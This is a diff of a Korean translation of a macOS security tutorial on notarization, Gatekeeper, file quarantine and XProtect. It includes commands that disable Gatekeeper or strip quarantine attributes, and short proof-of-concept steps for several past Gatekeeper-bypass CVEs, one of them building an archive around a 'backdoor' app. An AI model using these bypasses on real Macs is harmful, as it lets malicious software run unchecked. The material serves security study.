|
||||
### 승인
|
||||
|
||||
애플의 승인 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하는 추가적인 안전장치로 작용합니다. 이는 개발자가 자신의 애플리케이션을 애플의 승인 서비스에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 악성 콘텐츠의 존재와 코드 서명에 대한 잠재적인 문제를 확인하는 자동화된 시스템입니다.
|
||||
애플의 승인 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하는 추가적인 안전장치로 작용합니다. 이는 개발자가 자신의 애플리케이션을 애플의 승인 서비스에 제출하여 검토를 받는 과정을 포함합니다. 이 서비스는 악성 콘텐츠와 코드 서명에 대한 잠재적인 문제를 확인하기 위해 제출된 소프트웨어를 검토하는 자동화된 시스템입니다.
|
||||
|
||||
소프트웨어가 이 검사를 통과하고 어떠한 우려도 일으키지 않는다면, 승인 서비스는 승인 티켓을 생성합니다. 그러면 개발자는 이 티켓을 자신의 소프트웨어에 첨부해야 하는데, 이를 '스테이플링'이라고 합니다. 더 나아가, 승인 티켓은 게이트키퍼(Gatekeeper), 애플의 보안 기술이 액세스할 수 있는 온라인에도 게시됩니다.
|
||||
소프트웨어가 이 검사를 통과하고 어떠한 우려도 제기하지 않는다면, 승인 서비스는 승인 티켓을 생성합니다. 그런 다음 개발자는 이 티켓을 소프트웨어에 첨부해야 하는데, 이를 '스테이플링'이라고 합니다. 더 나아가, 승인 티켓은 게이트키퍼(Gatekeeper), 애플의 보안 기술이 액세스할 수 있는 온라인에도 게시됩니다.
|
||||
|
||||
사용자가 소프트웨어를 처음 설치하거나 실행할 때, 실행 파일에 첨부되어 있거나 온라인에서 발견된 승인 티켓의 존재는 게이트키퍼에게 소프트웨어가 애플에 의해 승인되었음을 알려줍니다. 결과적으로, 게이트키퍼는 초기 실행 대화상자에 보안 콘텐츠를 확인했다는 설명 메시지를 표시합니다. 이 과정은 사용자가 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높이는 데 도움이 됩니다.
|
||||
사용자가 소프트웨어를 처음 설치하거나 실행할 때, 실행 파일에 첨부되어 있거나 온라인에서 발견된 승인 티켓의 존재는 게이트키퍼에게 소프트웨어가 애플에 의해 승인되었음을 알려줍니다. 결과적으로 게이트키퍼는 초기 실행 대화상자에 보안 콘텐츠를 확인했다는 설명 메시지를 표시합니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높이는 데 도움이 됩니다.
|
||||
|
||||
### 게이트키퍼 열거
|
||||
|
||||
게이트키퍼는 믿을 수 없는 앱이 실행되는 것을 방지하는 여러 보안 구성 요소이자 구성 요소 중 하나입니다.
|
||||
게이트키퍼는 신뢰되지 않는 앱이 실행되는 것을 방지하는 여러 보안 구성 요소 중 하나입니다.
|
||||
|
||||
게이트키퍼의 상태를 확인하는 것이 가능합니다:
|
||||
```bash
|
||||
|
@ -76,10 +76,10 @@ codesign -s <cert-name-keychain> toolsdemo
|
|||
spctl --status
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
GateKeeper 서명 확인은 **격리 속성이 있는 파일**에 대해서만 수행됨을 유의하십시오.
|
||||
GateKeeper 시그니처 확인은 **격리 속성이 있는 파일**에 대해서만 수행됨을 유의하십시오.
|
||||
{% endhint %}
|
||||
|
||||
GateKeeper는 바이너리가 실행될 수 있는지를 **환경 설정 및 서명**에 따라 확인합니다:
|
||||
GateKeeper는 **환경 설정 및 시그니처**에 따라 실행 파일을 확인합니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -97,10 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
|||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
참고로 첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나며, 이전 이미지에서는 **App Store 및 식별된 개발자로부터 앱 실행이 허용**되었습니다.\
|
||||
만약 해당 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것**입니다.
|
||||
참고로 첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나며, 이전 이미지에서는 **App Store 및 식별된 개발자로부터 앱 실행이 활성화**되었습니다.\
|
||||
만약 해당 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라집니다**.
|
||||
|
||||
또한 **GKE 유형의 수천 개의 규칙**이 있습니다:
|
||||
또한 수천 개의 **GKE 유형의 규칙**이 있습니다:
|
||||
```bash
|
||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||
|
@ -109,13 +109,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
|||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
다음은 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** 및 **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**에서 나오는 해시입니다.
|
||||
다음은 **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** 및 **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**에서 나온 해시입니다.
|
||||
|
||||
또는 이전 정보를 다음과 같이 나열할 수도 있습니다:
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
옵션 **`--master-disable`** 및 **`--global-disable`**은 **`spctl`**의 서명 확인을 완전히 **비활성화**합니다:
|
||||
옵션 **`--master-disable`**과 **`--global-disable`**은 **`spctl`**의 서명 확인을 완전히 **비활성화**합니다:
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
|
@ -125,11 +125,11 @@ spctl --master-disable
|
|||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
완전히 활성화되면 새로운 옵션이 나타납니다:
|
||||
완전히 활성화된 경우, 새 옵션이 나타납니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
다음을 사용하여 **GateKeeper가 앱을 허용할지 확인**할 수 있습니다:
|
||||
**GateKeeper가 허용할지 앱을 확인하는 방법**이 있습니다:
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
|
@ -150,25 +150,25 @@ spctl --assess -v /Applications/App.app
|
|||
```
|
||||
### 파일 격리
|
||||
|
||||
**응용 프로그램**이나 파일을 **다운로드**할 때, macOS **응용 프로그램**은 다운로드된 파일에 "**격리 플래그**"로 알려진 확장 파일 속성을 **부착**합니다. 이 속성은 파일을 신뢰할 수 없는 출처(인터넷)에서 가져온 것으로 **표시**하고 잠재적인 위험을 가지고 있을 수 있다고 보안 조치로 작용합니다. 그러나 일부 응용 프로그램은 이 속성을 부착하지 않습니다. 예를 들어, 일반적인 비트토렌트 클라이언트 소프트웨어는 일반적으로 이 프로세스를 우회합니다.
|
||||
**응용 프로그램**이나 파일을 **다운로드**할 때, macOS의 특정 **응용 프로그램**들은 다운로드된 파일에 "**격리 플래그**"로 알려진 확장 파일 속성을 부여합니다. 이 속성은 파일을 신뢰할 수 없는 출처(인터넷)에서 가져온 것으로 표시하고 잠재적인 위험을 가지고 있을 수 있다는 보안 조치로 작용합니다. 그러나 모든 응용 프로그램이 이 속성을 부여하는 것은 아니며, 예를 들어 일반적인 비트토렌트 클라이언트 소프트웨어는 이 프로세스를 우회하는 경우가 일반적입니다.
|
||||
|
||||
**격리 플래그가 존재하는 경우 사용자가 파일을 실행하려고 시도할 때 macOS의 Gatekeeper 보안 기능에 신호를 보냅니다**.
|
||||
**격리 플래그의 존재는 사용자가 파일을 실행하려고 할 때 macOS의 Gatekeeper 보안 기능에 신호를 보냅니다**.
|
||||
|
||||
격리 플래그가 **없는 경우**(일부 비트토렌트 클라이언트를 통해 다운로드된 파일 등), Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 보안이 취약하거나 알려지지 않은 소스에서 다운로드한 파일을 열 때 주의해야 합니다.
|
||||
격리 플래그가 **없는 경우** (일부 비트토렌트 클라이언트를 통해 다운로드된 파일 등), Gatekeeper의 **검사가 수행되지 않을 수** 있습니다. 따라서 사용자는 안전하지 않거나 알려지지 않은 소스에서 다운로드한 파일을 열 때 주의해야 합니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
코드 서명의 **유효성**을 **확인**하는 것은 코드 및 모든 번들된 리소스의 암호화 **해시**를 생성하는 등 **리소스 집약적인** 프로세스입니다. 또한 인증서 유효성을 확인하려면 발급된 후에 취소되었는지 Apple의 서버에 **온라인 확인**을 해야 합니다. 이러한 이유로 앱을 실행할 때마다 완전한 코드 서명 및 인증 확인은 **실용적이지 않습니다**.
|
||||
코드 서명의 **유효성**을 **확인**하는 것은 코드 및 모든 번들된 리소스의 암호화 **해시**를 생성하는 등 **리소스 집약적인** 프로세스를 포함합니다. 또한 인증서 유효성을 확인하는 것은 발급된 후에 취소되었는지 Apple의 서버에 **온라인 확인**을 하는 것을 의미합니다. 이러한 이유로 앱을 실행할 때마다 완전한 코드 서명 및 인증 확인은 **실용적이지 않습니다**.
|
||||
|
||||
따라서 이러한 확인은 **격리된 속성을 가진 앱을 실행할 때에만 수행**됩니다.
|
||||
따라서 이러한 검사는 **격리 속성을 가진 앱을 실행할 때에만 수행**됩니다.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 속성은 파일을 생성/다운로드하는 **응용 프로그램에 의해 설정**되어야 합니다.
|
||||
|
||||
그러나 샌드박스에 있는 파일은 생성되는 모든 파일에 이 속성이 설정됩니다. 샌드박스에 있지 않은 앱은 스스로 설정하거나 **Info.plist**에서 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) 키를 지정하여 시스템이 파일에 `com.apple.quarantine` 확장 속성을 설정하도록 할 수 있습니다.
|
||||
그러나 샌드박스에 있는 파일은 생성될 때마다 이 속성이 설정됩니다. 샌드박스에 있지 않은 앱은 스스로 설정하거나 **Info.plist**에서 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) 키를 지정하여 시스템이 파일을 생성할 때 `com.apple.quarantine` 확장 속성을 설정하도록 할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
상태를 **확인하고 활성화/비활성화**할 수 있습니다(루트 권한 필요) :
|
||||
상태를 **확인하고 활성화/비활성화** (루트 권한 필요)하는 것이 가능합니다:
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
@ -177,13 +177,13 @@ spctl --enable
|
|||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
파일이 **격리 확장 속성을 가지고 있는지 확인할 수도 있습니다**.
|
||||
다음을 사용하여 파일이 격리 확장 속성을 가지고 있는지 확인할 수도 있습니다:
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
**확장 속성**의 **값**을 확인하고 quarantine 속성을 작성한 앱을 찾으세요:
|
||||
확장 속성의 값을 확인하고 quarantine 속성을 작성한 앱을 찾으세요:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -199,7 +199,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
|||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
실제로 프로세스는 생성하는 파일에 격리 플래그를 설정할 수 있습니다 (생성된 파일에 USER\_APPROVED 플래그를 적용해 보았지만 적용되지 않았습니다):
|
||||
실제로 프로세스 "생성하는 파일에 격리 플래그를 설정할 수 있습니다" (생성된 파일에 USER\_APPROVED 플래그를 적용해 보았지만 적용되지 않았습니다):
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -265,7 +265,7 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
그 **속성을** 다음과 같이 제거하십시오:
|
||||
그 **속성을** 제거하십시오:
|
||||
```bash
|
||||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
|
@ -279,19 +279,19 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**격리 정보**는 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**에서 관리되는 중앙 데이터베이스에 저장됩니다.
|
||||
**격리 정보**는 또한 LaunchServices가 관리하는 중앙 데이터베이스에 저장됩니다. **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**.
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
커널 확장 프로그램은 시스템의 **커널 캐시를 통해서만** 사용할 수 있습니다; 그러나 **https://developer.apple.com/**에서 **커널 디버그 키트를 다운로드**하여 확장 프로그램의 심볼화된 버전을 얻을 수 있습니다.
|
||||
커널 확장 프로그램은 시스템의 커널 캐시를 통해서만 사용할 수 있습니다; 그러나 **https://developer.apple.com/**에서 **Kernel Debug Kit**을 다운로드하여 확장 프로그램의 심볼화된 버전을 얻을 수 있습니다.
|
||||
|
||||
### XProtect
|
||||
|
||||
XProtect는 macOS의 내장 **안티 맬웨어** 기능입니다. XProtect는 **애플리케이션이 처음 실행되거나 수정될 때 해당 데이터베이스**에서 알려진 맬웨어 및 안전하지 않은 파일 유형을 확인합니다. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드할 때 XProtect가 파일을 자동으로 스캔합니다. 데이터베이스에서 알려진 맬웨어와 일치하는 경우 XProtect가 **파일 실행을 방지**하고 위협을 알립니다.
|
||||
XProtect는 macOS의 내장 **안티 맬웨어** 기능입니다. XProtect는 **알려진 맬웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 애플리케이션이 처음 실행되거나 수정될 때 확인**합니다. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드할 때 XProtect가 파일을 자동으로 스캔합니다. 데이터베이스에서 알려진 맬웨어와 일치하는 경우 XProtect는 **파일 실행을 방지**하고 위협을 알립니다.
|
||||
|
||||
XProtect 데이터베이스는 애플에 의해 **정기적으로 업데이트**되며 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect가 항상 최신 알려진 위협과 함께 업데이트되도록 보장됩니다.
|
||||
XProtect 데이터베이스는 Apple에 의해 **정기적으로 업데이트**되며 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect가 항상 최신 알려진 위협과 함께 업데이트되도록 보장됩니다.
|
||||
|
||||
그러나 **XProtect는 완전한 기능을 갖춘 백신 솔루션이 아님**을 유의해야 합니다. 특정 알려진 위협 목록을 확인하고 대부분의 백신 소프트웨어와 같이 온액세스 스캔을 수행하지 않습니다.
|
||||
그러나 **XProtect는 완전한 기능을 갖춘 백신 솔루션이 아님**을 유의해야 합니다. 특정 알려진 위협 목록을 확인하고 대부분의 백신 소프트웨어처럼 온액세스 스캔을 수행하지 않습니다.
|
||||
|
||||
최신 XProtect 업데이트에 대한 정보를 얻으려면 다음을 실행할 수 있습니다:
|
||||
|
||||
|
@ -301,10 +301,10 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect는 SIP로 보호된 위치인 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 있으며 번들 내에서 XProtect가 사용하는 정보를 찾을 수 있습니다:
|
||||
XProtect는 SIP로 보호된 위치인 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에 있으며 번들 내부에서 XProtect가 사용하는 정보를 찾을 수 있습니다:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: 해당 cdhashes를 사용하여 레거시 권한을 허용하는 코드를 허용합니다.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID 및 TeamID를 통해 로드를 금지하는 플러그인 및 확장 프로그램 목록 또는 최소 버전을 나타냅니다.
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: 해당 cdhash를 가진 코드가 레거시 권한을 사용할 수 있도록 허용합니다.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID 및 TeamID를 통해 로드가 금지된 플러그인 및 확장 프로그램 목록 또는 최소 버전을 나타냅니다.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: 악성 코드를 감지하기 위한 Yara 규칙입니다.
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**: 차단된 응용 프로그램 및 TeamID의 해시가 포함된 SQLite3 데이터베이스입니다.
|
||||
|
||||
|
@ -316,25 +316,25 @@ XProtect와 관련된 **`/Library/Apple/System/Library/CoreServices/XProtect.app
|
|||
Gatekeeper가 **모든 실행**마다 실행되는 것이 아니라 _**AppleMobileFileIntegrity**_ (AMFI)가 이미 Gatekeeper에 의해 실행되고 확인된 앱을 실행할 때만 **실행 가능한 코드 서명을 확인**합니다.
|
||||
{% endhint %}
|
||||
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시하는 것이 가능했고, 그런 다음 애플리케이션의 실행 파일이 아닌 파일(예: Electron asar 또는 NIB 파일)을 **수정**할 수 있었으며 다른 보호 기능이 없는 경우, 애플리케이션에 **악의적인** 추가가 포함된 채로 **실행**될 수 있었습니다.
|
||||
따라서 이제는 이전처럼 앱을 실행하여 Gatekeeper로 캐시하는 것이 가능했고, 그런 다음 애플리케이션의 실행 파일이 아닌 파일(예: Electron asar 또는 NIB 파일)을 **수정**하고 다른 보호 기능이 없는 경우, 애플리케이션이 **악의적인** 추가로 실행되었습니다.
|
||||
|
||||
그러나 macOS는 이제 애플리케이션 번들 내의 파일을 **수정하는 것을 방지**합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 Gatekeeper로 캐시하려고 앱을 실행한 후 번들을 수정할 수 없게 되어 더 이상 악용할 수 없음을 알게 될 것입니다. 예를 들어, Contents 디렉토리의 이름을 exploit에서 지시한대로 NotCon으로 변경한 다음 Gatekeeper로 캐시하려고 앱의 주 실행 파일을 실행하면 오류가 발생하여 실행되지 않습니다.
|
||||
그러나 이제 macOS는 애플리케이션 번들 내의 파일을 **수정하는 것을 방지**합니다. 따라서 [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 Gatekeeper로 캐시하여 번들을 수정할 수 없게 되어 더 이상 악용할 수 없음을 알게 될 것입니다. 그리고 예를 들어 Contents 디렉토리의 이름을 exploit에서 지시한대로 NotCon으로 변경한 다음 Gatekeeper로 캐시하기 위해 앱의 주 실행 파일을 실행하면 오류가 발생하여 실행되지 않습니다.
|
||||
|
||||
## Gatekeeper 우회
|
||||
|
||||
Gatekeeper를 우회하는 방법(사용자가 다운로드하고 Gatekeeper가 금지해야 하는 것을 실행하도록 만드는 방법)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회하는 기술에 할당된 일부 CVE는 다음과 같습니다:
|
||||
Gatekeeper를 우회하는 방법(사용자가 다운로드하고 Gatekeeper가 금지해야 하는 것을 실행하도록 만드는 방법)은 macOS의 취약점으로 간주됩니다. 과거에 Gatekeeper를 우회하는 데 사용된 기술에 할당된 일부 CVE는 다음과 같습니다:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
**Archive Utility**를 사용하여 압축을 푸는 경우, **886자를 초과하는 경로**를 가진 파일은 com.apple.quarantine 확장 속성을받지 않습니다. 이 상황으로 인해 이러한 파일이 **Gatekeeper의** 보안 검사를 우회할 수 있습니다.
|
||||
**Archive Utility**를 사용하여 압축을 푸는 경우, **886자를 초과하는 경로를 가진 파일은** com.apple.quarantine 확장 속성을받지 않습니다. 이 상황으로 인해 해당 파일은 **Gatekeeper의** 보안 검사를 우회할 수 있습니다.
|
||||
|
||||
자세한 정보는 [**원본 보고서**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)를 확인하십시오.
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 단순히 **Automator Application Stub**라는 일반적인 Automator 이진 파일입니다.
|
||||
**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 단순히 **Automator Application Stub**이라는 일반적인 Automator 이진 파일입니다.
|
||||
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`를 다른 시스템 내의 다른 Automator Application Stub로 심볼릭 링크를 지정할 수 있으며, 실행 파일에 격리 xattr이 없기 때문에 `document.wflow`에 있는 내용(스크립트)을 **Gatekeeper를 트리거하지 않고** 실행할 수 있습니다.
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`를 다른 시스템 내의 다른 Automator Application Stub을 가리키는 심볼릭 링크로 만들면 `document.wflow`에 있는 내용(스크립트)을 실행할 수 있으며 실제 실행 파일에는 quarantine xattr이 없기 때문에 Gatekeeper를 **트리거하지 않고** 실행됩니다.
|
||||
|
||||
예상 위치의 예: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
|
@ -346,28 +346,28 @@ Gatekeeper를 우회하는 방법(사용자가 다운로드하고 Gatekeeper가
|
|||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
[**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)를 확인하십시오.
|
||||
[**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)를 확인하면 더 많은 정보를 얻을 수 있습니다.
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
구성 요소가 다르더라도 이 취약점의 악용은 이전 것과 매우 유사합니다. 이 경우 **`application.app/Contents`**에서 Apple Archive를 생성하여 **Archive Utility**에 의해 압축 해제될 때 **`application.app`에 격리 속성이 적용되지 않습니다**.
|
||||
컴포넌트가 다르더라도 이 취약점의 악용은 이전 것과 매우 유사합니다. 이 경우 **`application.app/Contents`**에서 Apple Archive를 생성하여 **Archive Utility**에 의해 압축 해제될 때 **`application.app`에 방역 속성이 적용되지 않습니다**.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
[**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 확인하십시오.
|
||||
확인하려면 [**원본 보고서**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)를 참조하십시오.
|
||||
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
ACL **`writeextattr`**를 사용하여 파일의 속성 쓰기를 방지할 수 있습니다:
|
||||
ACL **`writeextattr`**를 사용하여 누구든지 파일의 속성을 쓰지 못하도록 할 수 있습니다:
|
||||
```bash
|
||||
touch /tmp/no-attr
|
||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
게다가 **AppleDouble** 파일 형식은 ACE를 포함한 파일을 복사합니다.
|
||||
또한 **AppleDouble** 파일 형식은 ACE를 포함한 파일을 복사합니다.
|
||||
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 볼 수 있듯이 **`com.apple.acl.text`**라는 xattr 내에 저장된 ACL 텍스트 표현은 압축 해제된 파일에서 ACL로 설정됩니다. 따라서, 다른 xattr이 쓰여지는 것을 방지하는 ACL이 있는 zip 파일로 애플리케이션을 압축했다면... 격리 xattr이 애플리케이션에 설정되지 않았습니다:
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 볼 수 있듯이 **`com.apple.acl.text`**라는 xattr 내에 저장된 ACL 텍스트 표현은 압축 해제된 파일에서 ACL로 설정됩니다. 따라서, ACL을 포함하여 zip 파일로 응용 프로그램을 압축하고 다른 xattr이 기록되지 않도록 하는 ACL이 있는 경우... 격리 xattr이 응용 프로그램에 설정되지 않았습니다:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
|
@ -387,13 +387,11 @@ aa archive -d app -o test.aar
|
|||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
**Google Chrome이 다운로드한 파일에 quarantine 속성을 설정하지 않았음**이 macOS 내부 문제 때문에 발견되었습니다.
|
||||
**Google Chrome이 다운로드한 파일에 격리 속성을 설정하지 않았음**이 macOS 내부 문제 때문에 발견되었습니다.
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
AppleDouble 파일 형식은 파일의 속성을 `._`로 시작하는 별도의 파일에 저장하여 macOS 기기 간에 파일 속성을 복사하는 데 도움이 됩니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일에는 **quarantine 속성이 설정되지 않았음**이 발견되었습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
AppleDouble 파일 형식은 파일의 속성을 `._`로 시작하는 별도의 파일에 저장하여 **macOS 기기 간에 파일 속성을 복사하는 데 도움**이 됩니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일에는 **격리 속성이 설정되지 않았음**이 발견되었습니다.
|
||||
```bash
|
||||
mkdir test
|
||||
echo a > test/a
|
||||
|
@ -405,8 +403,8 @@ aa archive -d test/ -o test.aar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**게이트키퍼를 우회하는 것이 가능했습니다.** 방법은 AppleDouble 이름 규칙을 사용하여 DMG 파일 애플리케이션을 만들고 (`._`로 시작) **검역 속성이 설정되지 않은 숨겨진** 파일에 대한 심볼릭 링크로 **가시적인 파일을 만드는 것**이었습니다.\
|
||||
**dmg 파일을 실행할 때**, 검역 속성이 없기 때문에 **게이트키퍼를 우회**할 것입니다.
|
||||
**Gatekeeper를 우회하는 것이 가능했습니다.** Quarantine 속성이 설정되지 않은 파일을 만들 수 있었기 때문입니다. **AppleDouble 이름 규칙을 사용하여 DMG 파일 애플리케이션을 만들고** (이름을 `._`로 시작) **Quarantine 속성이 없는 숨겨진 파일에 대한 심볼릭 링크로 표시된 파일을 만드는** 꼼수를 사용했습니다.\
|
||||
**dmg 파일을 실행할 때**, Quarantine 속성이 없기 때문에 **Gatekeeper를 우회**할 수 있습니다.
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -422,6 +420,6 @@ ln -s ._app.dmg s/app/app.dmg
|
|||
echo "[+] compressing files"
|
||||
aa archive -d s/ -o app.aar
|
||||
```
|
||||
### Quarantine xattr 방지
|
||||
### 방지 방역 xattr
|
||||
|
||||
".app" 번들에서 quarantine xattr이 추가되지 않으면 실행 시 **Gatekeeper가 작동하지 않습니다**.
|
||||
".app" 번들에서 방역 xattr이 추가되지 않으면 실행 시 **게이트키퍼가 작동하지 않습니다**.
|
||||
|
|
|
@ -1,18 +1,18 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
